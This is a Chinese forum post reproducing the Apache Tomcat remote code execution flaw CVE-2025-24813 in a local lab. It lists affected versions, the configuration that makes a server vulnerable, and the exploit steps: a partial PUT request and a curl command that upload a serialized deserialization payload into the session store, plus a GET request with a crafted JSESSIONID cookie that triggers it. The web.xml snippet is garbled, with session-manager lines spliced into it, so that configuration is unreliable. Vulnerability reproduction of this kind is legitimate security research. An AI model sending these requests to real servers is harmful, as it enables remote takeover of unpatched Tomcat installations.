Apache Tomcat RCE毛病复现(CVE-2025-24813)

打印 上一主题 下一主题

主题 951|帖子 951|积分 2853

毛病描述

该毛病的核心在于 Tomcat 在处理不完整PUT请求上传时,会使用了一个基于用户提供的文件名和路径天生的临时文件。
若同时满意以下条件,攻击者可执行任意代码:

  • 默认 Servlet 启用了写权限(默认禁用)
  • 启用了部分PUT请求支持(默认启用)
  • 应用程序使用 Tomcat 的基于文件的会话持久化(默认存储位置)
  • 应用程序包含可被利用于反序列化攻击的库
受影响版本


  • Apache Tomcat 11.0.0-M1 至 11.0.2
  • Apache Tomcat 10.1.0-M1 至 10.1.34
  • Apache Tomcat 9.0.0-M1 至 9.0.98
毛病环境搭建

实验使用 Tomcat 9.0.98 版本复现:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98.zip
根据里利用条件描述:

  • 需要在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能
  1. <init-param>
  2. <Manager className="org.apache.catalina.session.PersistentManager">
  3.     <Store className="org.apache.catalina.session.FileStore"/>
  4. </Manager><param-name>readonly</param-name>
  5. <Manager className="org.apache.catalina.session.PersistentManager">
  6.     <Store className="org.apache.catalina.session.FileStore"/>
  7. </Manager><param-value>false</param-value>
  8. </init-param>
复制代码


  • 需要在conf/context.xml中,开启File文件会话存储
  1. <Manager className="org.apache.catalina.session.PersistentManager">
  2.     <Store className="org.apache.catalina.session.FileStore"/>
  3. </Manager>
复制代码

利用条件准备完毕,启动 Tomcat 程序:.\bin\catalina.bat run(若是在 liunx/mac 环境下则改用 catalina.sh ),浏览器访问本地8080端口检察是否启动成功。
毛病复现

参考@jweny大佬文章:https://forum.butian.net/article/674
使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录work\Catalina\localhost\ROOT。
在 HTTP 协议中,Content-Range 字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200 表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。
以是利用这个特点,可以分段上传覆盖或注入敏感文件,实验下向默认存储位置 work\Catalina\localhost\ROOT 注入文件:
  1. PUT /poc/session HTTP/1.1
  2. Host: localhost:8080
  3. Content-Range: bytes 0-1000/1200
  4. {{(paylaod...)}}
复制代码
注意看ROOT目录下成功写入了文件(.poc.session):
Tomcat 对不完整的PUT请求上传时的文件名处理机制:文件路径中的分隔符 / 会被转换为 .

准备天生一个恶意的序列化文件上传,推荐使用 Java Chains 快速天生一个base64编码的cc链反序列化payload,这里选择用K1链来弹计算器:

准备好PUT请求包,这里需要注意 Content-Range 的分块值需要大于当前文件的长度。这里使用yakit的base64dec()标签对payload进行解码上传,直接上传Raw格式Payload是不可用的。
或者使用curl直接上传bin格式Payload文件:
curl -X PUT -H "Content-Range: bytes 0-1000/1200" --data-binary @payload.ser http://localhost:8080/poc/session


当Payload文件被上传成功后,大约30s之内就会被主动触发,随之该session文件被清除。
也可以使用以下poc直接触发:
  1. GET / HTTP/1.1
  2. Host: localhost:8080
  3. Cookie: JSESSIONID=.poc
复制代码

参考文章
https://forum.butian.net/article/674
https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
https://www.bilibili.com/video/BV14dQjYcEc5/?spm_id_from=333.1007.top_right_bar_window_default_collection.content.click&vd_source=4558613fd07f85f0f4c56e4f927f88ee
https://avd.aliyun.com/detail?id=AVD-2025-24813&timestamp__1384=Wqmx0D2DnDBGQ7KDsKo4Cw4xROjhiHqQkF4D
若有错误,欢迎指正!o( ̄▽ ̄)ブ

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

九天猎人

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表